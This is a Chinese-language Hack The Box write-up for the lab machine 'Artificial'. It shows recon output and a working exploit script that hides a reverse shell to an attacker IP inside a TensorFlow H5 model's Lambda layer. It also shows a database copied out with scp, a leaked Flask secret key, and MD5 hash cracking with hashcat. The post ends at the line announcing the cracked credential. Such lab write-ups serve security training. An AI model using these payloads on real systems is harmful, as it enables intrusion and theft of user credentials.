{"id":308,"date":"2025-06-23T10:01:19","date_gmt":"2025-06-23T02:01:19","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=308"},"modified":"2026-01-29T16:18:33","modified_gmt":"2026-01-29T08:18:33","slug":"308","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/06\/23\/308\/","title":{"rendered":"HTB\u9776\u673a Artificial \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.129.58.118<\/strong><\/code>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
PING 10.129.58.118 (10.129.58.118) 56(84) bytes of data.\n64 bytes from 10.129.58.118: icmp_seq=1 ttl=63 time=420 ms\n64 bytes from 10.129.58.118: icmp_seq=2 ttl=63 time=366 ms\n64 bytes from 10.129.58.118: icmp_seq=3 ttl=63 time=288 ms\n64 bytes from 10.129.58.118: icmp_seq=4 ttl=63 time=289 ms\n\n--- 10.129.58.118 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 288.366\/340.734\/419.847\/55.529 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.95 scan initiated Sun Jun 22 07:38:38 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.58.118\nNmap scan report for 10.129.58.118\nHost is up (0.30s latency).\nAll 65535 scanned ports on 10.129.58.118 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Jun 22 07:39:23 2025 -- 1 IP address (1 host up) scanned in 44.88 seconds<\/code><\/pre>\n
\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/strong><\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Jun 22 07:43:02 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.58.118\nWarning: 10.129.58.118 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.58.118\nHost is up (0.26s latency).\nNot shown: 64195 closed tcp ports (conn-refused), 1338 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)\n|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)\n|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)\n80\/tcp open  http    nginx 1.18.0 (Ubuntu)\n|_http-title: Did not follow redirect to http:\/\/artificial.htb\/\n|_http-server-header: nginx\/1.18.0 (Ubuntu)\nDevice type: general purpose|router\nRunning: Linux 5.X, MikroTik RouterOS 7.X\nOS CPE: cpe:\/o:linux:linux_kernel:5 cpe:\/o:mikrotik:routeros:7 cpe:\/o:linux:linux_kernel:5.6.3\nOS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   321.31 ms 10.10.14.1\n2   321.55 ms 10.129.58.118\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Jun 22 07:44:09 2025 -- 1 IP address (1 host up) scanned in 66.41 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Jun 22 07:48:32 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.58.118\nWarning: 10.129.58.118 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.58.118\nHost is up (0.31s latency).\nAll 65535 scanned ports on 10.129.58.118 are in ignored states.\nNot shown: 65289 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)\n\n# Nmap done at Sun Jun 22 07:52:35 2025 -- 1 IP address (1 host up) scanned in 242.44 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aUbuntu Linux<\/code>\uff0c\u5f00\u653e\u4e86SSH<\/code>\u548cNginx Web<\/code>\u670d\u52a1\uff0c\u4e3b\u57df\u540d\u4e3aartificial.htb<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u7aef\u53e3Banner<\/code>\uff1a<\/p>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/artificial]\n\u2514\u2500# nc -nv 10.129.58.118 22\n(UNKNOWN) [10.129.58.118] 22 (ssh) open\nSSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13<\/code><\/pre>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/artificial.htb\/<\/code><\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u8be5\u7f51\u7ad9\u4f3c\u4e4e\u4e3a\u4e00\u4e2a\u4eba\u5de5\u667a\u80fd\u89e3\u51b3\u65b9\u6848\u63d0\u4f9b\u5546\u7684\u5bf9\u5916\u4e1a\u52a1\u5e94\u7528\u3002\u67e5\u770b\u4e3b\u9875\uff0c\u53d1\u73b0\u5b58\u5728\u4e24\u4e2a\u6307\u5411\/login<\/code>\u548c\/register<\/code>\u7aef\u70b9\u7684\u94fe\u63a5\uff0c\u4ee5\u53ca\u4e00\u4efd\u5173\u4e8e\u673a\u5668\u5b66\u4e60\u7684\u793a\u4f8b\u4ee3\u7801\uff1a<\/p>\n
\"\"<\/p>\n
\u8be5\u793a\u4f8b\u4ee3\u7801\u521b\u5efa\u4e86\u4e00\u4efd\u6a21\u578b\uff0c\u5e76\u5c06\u5176\u4fdd\u5b58\u5230\u4e86.h5<\/code>\u6587\u4ef6\u4e2d\u3002\u5c06\u811a\u672c\u4fdd\u5b58\u81f3\u672c\u5730\u5907\u7528\u3002<\/p>\n
\u5c1d\u8bd5\u8fdb\u884c\u76ee\u5f55\u626b\u63cf\uff1a<\/p>\n
# Dirsearch started Sun Jun 22 09:19:55 2025 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/artificial.htb -x 400,403,404 -t 70 -e js,html,txt,zip,tar.gz,xml,json,h5,pcap,pdf\n\n302   199B   http:\/\/artificial.htb\/dashboard    -> REDIRECTS TO: \/login\n200   857B   http:\/\/artificial.htb\/login\n302   189B   http:\/\/artificial.htb\/logout    -> REDIRECTS TO: \/\n200   952B   http:\/\/artificial.htb\/register<\/code><\/pre>\n
\u53ea\u53d1\u73b0\u767b\u5f55\u6ce8\u518c\u63a5\u53e3\uff0c\u4ee5\u53ca\u4e00\u4e2a\/dashboard<\/code>\u540e\u53f0\u9762\u677f\u5730\u5740\u3002<\/p>\n
\u5c1d\u8bd5\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u767b\u5f55\uff1a<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u540e\u53f0\u5b58\u5728\u4e0a\u4f20TensorFlow H5<\/code>\u6a21\u578b\u7684\u529f\u80fd\u3002\u70b9\u51fbDockerfile<\/code>\u94fe\u63a5\uff0c\u53d1\u73b0\u8fd4\u56de\u5982\u4e0b\u5185\u5bb9\uff1a<\/p>\n
FROM python:3.8-slim\n\nWORKDIR \/code\n\nRUN apt-get update && \\\n    apt-get install -y curl && \\\n    curl -k -LO https:\/\/files.pythonhosted.org\/packages\/65\/ad\/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4\/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \\\n    rm -rf \/var\/lib\/apt\/lists\/*\n\nRUN pip install .\/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\n\nENTRYPOINT [\"\/bin\/bash\"]<\/code><\/pre>\n
\u6000\u7591\u540e\u7aef\u4f7f\u7528Python TensorFlow v2.13.1<\/code>\u7248\u672c\u5b9e\u73b0\u5bf9\u6a21\u578b\u7684\u5206\u6790\u529f\u80fd\u3002<\/p>\n
\u5c1d\u8bd5\u4f7f\u7528Docker<\/code>\u5bb9\u5668\u8fd0\u884c\u4e3b\u9875\u4e0a\u63d0\u4f9b\u7684TensorFlow<\/code>\u793a\u4f8b\u6a21\u578b\u751f\u6210\u811a\u672c\uff0c\u5e76\u5c06\u5176\u4e0a\u4f20\u81f3\u540e\u53f0\u67e5\u770b\u662f\u5426\u5b58\u5728\u66f4\u591a\u529f\u80fd\u3002\u9996\u5148\u914d\u7f6e\u652f\u6301TensorFlow<\/code>\u8fd0\u884c\u7684Docker<\/code>\u5bb9\u5668\uff1a<\/p>\n
docker pull python:slim-3.8\ndocker run -it -v \/home\/megumin\/Documents\/pentest_notes\/artificial:\/root\/artificial python:3.8-slim \/bin\/bash\npip install pandas -i http:\/\/mirrors.aliyun.com\/pypi\/simple --trusted-host=mirrors.aliyun.com\ncd ~\/artificial && wget https:\/\/files.pythonhosted.org\/packages\/65\/ad\/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4\/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\npip install .\/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl -i http:\/\/mirrors.aliyun.com\/pypi\/simple --trusted-host mirrors.aliyun.com<\/code><\/pre>\n
\u968f\u540e\u8fd0\u884c\u4fdd\u5b58\u81f3\u672c\u5730\u7684TensorFlow<\/code>\u6a21\u578b\u751f\u6210\u811a\u672c\uff1a<\/p>\n
python3 .\/example_model.py<\/code><\/pre>\n
\"\"<\/p>\n
\u968f\u540e\u5c06\u6a21\u578b\u4e0a\u4f20\uff1a<\/p>\n
\"\"<\/p>\n
\u70b9\u51fbView Predictions<\/code>\u6309\u94ae\uff0c\u53d1\u73b0\u540e\u53f0\u7684\u529f\u80fd\u6b63\u662f\u5206\u6790\u7528\u6237\u4e0a\u4f20\u7684TensorFlow<\/code>\u6a21\u578b\uff1a<\/p>\n
\"\"<\/p>\n
\u5c1d\u8bd5\u8054\u7f51\u641c\u7d22TensorFlow<\/code>\u7684\u5229\u7528\u65b9\u5f0f\uff0c\u6210\u529f\u53d1\u73b0\u4e00\u79cd\u5728TensorFlow H5<\/code>\u6a21\u578b\u7684Lambda Layer<\/code>\u5c42\u4e2d\u6ce8\u5165\u6076\u610fPython<\/code>\u51fd\u6570\uff0c\u4ece\u800c\u6267\u884c\u4efb\u610f\u4ee3\u7801\u7684\u65b9\u6cd5\uff1aTensorFlow Remote Code Execution with Malicious Model | CyberBlog<\/a><\/p>\n
\"\"<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
TensorFlow\u6076\u610f\u6a21\u578b\u5229\u7528<\/h2>\n
\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u76ee\u6807\u7f51\u7ad9\u540e\u53f0\u7684\u529f\u80fd\u4e3a\u89e3\u6790\u7528\u6237\u4e0a\u4f20\u7684TensorFlow<\/code>\u6a21\u578b\uff0c\u5e76\u627e\u5230\u4e86\u5728\u6a21\u578b\u4e2d\u6ce8\u5165\u6076\u610f\u4ee3\u7801\u7684\u65b9\u6cd5\u3002\u73b0\u5728\u53ef\u4ee5\u7f16\u5199\u4e00\u4efd\u751f\u6210\u5177\u6709\u53cd\u5f39Shell<\/code>\u4ee3\u7801\u7684\u6a21\u578b\u6587\u4ef6\uff0c\u8fd0\u884c\u4e4b\u540e\uff0c\u5c06\u5176\u4e0a\u4f20\u81f3\u540e\u53f0\u8fdb\u884c\u6a21\u578b\u89e3\u6790\uff0c\u4ece\u800c\u89e6\u53d1\u6076\u610f\u4ee3\u7801\u3002<\/p>\n
\u6076\u610f\u6a21\u578b\u751f\u6210\u811a\u672cinject_model.py<\/code>\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n
#!\/usr\/local\/bin\/python\nimport tensorflow as tf\n\ndef exploit(x):\n    import os\n    os.system(\"\/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.14.180\/443 0>&1' &\")\n    return x\n\nmodel = tf.keras.Sequential()\nmodel.add(tf.keras.layers.Input(shape=(64,)))\nmodel.add(tf.keras.layers.Lambda(exploit))\nmodel.compile()\nmodel.save(\"exploit.h5\")<\/code><\/pre>\n
\u968f\u540e\u8fdb\u5165Docker<\/code>\u5bb9\u5668\u6267\u884c\uff1a<\/p>\n
python3 .\/inject_model.py<\/code><\/pre>\n
\u63a5\u7740\u5c06\u751f\u6210\u7684exploit.h5<\/code>\u6a21\u578b\u6587\u4ef6\u4e0a\u4f20\uff0c\u5b8c\u6bd5\u540e\u70b9\u51fbView Predictions<\/code>\u6309\u94ae\u8fdb\u884c\u89e3\u6790\uff1a<\/p>\n
\"\"<\/p>\n
\u53cd\u5f39Shell\u6210\u529f\uff01\uff01<\/strong><\/p>\n
\n
\u6743\u9650\u63d0\u5347<\/h1>\n
\u79fb\u52a8\u81f3gael\u7528\u6237<\/h2>\n
\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u53d1\u73b0\u5f53\u524d\u7528\u6237\u4e3aapp<\/code>\uff0c\u4e14\u6b63\u5904\u4e8eWeb<\/code>\u5e94\u7528\u7a0b\u5e8f\u6839\u76ee\u5f55\/home\/app\/app\/<\/code>\u4e0b\uff1a<\/p>\n
\"\"<\/p>\n
\u67e5\u770b\u4e3b\u7a0b\u5e8fapp.py<\/code>\u7684\u90e8\u5206\u5185\u5bb9\uff0c\u53d1\u73b0\u7f51\u7ad9\u4f7f\u7528SQLite<\/code>\u4f5c\u4e3a\u7528\u6237\u6570\u636e\u5e93\uff0c\u4f4d\u7f6e\u4e3a\/home\/app\/app\/instance\/users.db<\/code>\uff1a<\/p>\n
app = Flask(__name__)\napp.secret_key = \"Sup3rS3cr3tKey4rtIfici4L\"\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:\/\/\/users.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['UPLOAD_FOLDER'] = 'models'<\/code><\/pre>\n
\"\"<\/p>\n
\u76f4\u63a5\u4f7f\u7528scp<\/code>\u5de5\u5177\u5c06users.db<\/code>\u6570\u636e\u5e93\u6587\u4ef6\u4f20\u8f93\u81f3\u672c\u5730\uff1a<\/p>\n
scp -P 22222 \/home\/app\/app\/instance\/users.db megumin@10.10.14.180:\/home\/megumin\/Documents\/pentest_notes\/artificial\/users.db<\/code><\/pre>\n
\u968f\u540e\u4f7f\u7528DB Browser for SQLite<\/code>\u6253\u5f00\uff0c\u67e5\u770buser<\/code>\u8868\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u6570\u636e\u5e93\u4e2d\u539f\u672c\u5c31\u5b58\u57285<\/code>\u4e2a\u7528\u6237\uff0c\u5bc6\u7801\u54c8\u5e0c\u7591\u4f3c\u4e3aMD5<\/code>\u683c\u5f0f\u3002<\/p>\n
\u5c1d\u8bd5\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u67e5\u770b\/etc\/passwd<\/code>\u5185\u5bb9\uff0c\u8fc7\u6ee4\u51fa\u767b\u5f55Shell<\/code>\u4e0d\u4e3aNoLogin Shell<\/code>\u7684\u7cfb\u7edf\u7528\u6237\uff1a<\/p>\n
cat \/etc\/passwd | grep -v -E \"\/bin\/sync|\/usr\/sbin\/nologin|\/bin\/false\"<\/code><\/pre>\n
\"\"<\/p>\n
\u53d1\u73b0\u7cfb\u7edf\u5b58\u5728\u7528\u6237gael<\/code>\uff0c\u5bf9\u6bd4\u7f51\u7ad9\u7528\u6237\u6570\u636e\u5e93\uff0c\u5c1d\u8bd5\u5c06gael@artificial.htb<\/code>\u7528\u6237\u7684MD5<\/code>\u54c8\u5e0c\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n
.\\hashcat.exe -m 0 -a 0 \"c99175974b6e192936d97224638a34f8\" .\\rockyou.txt --force<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u83b7\u5f97\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n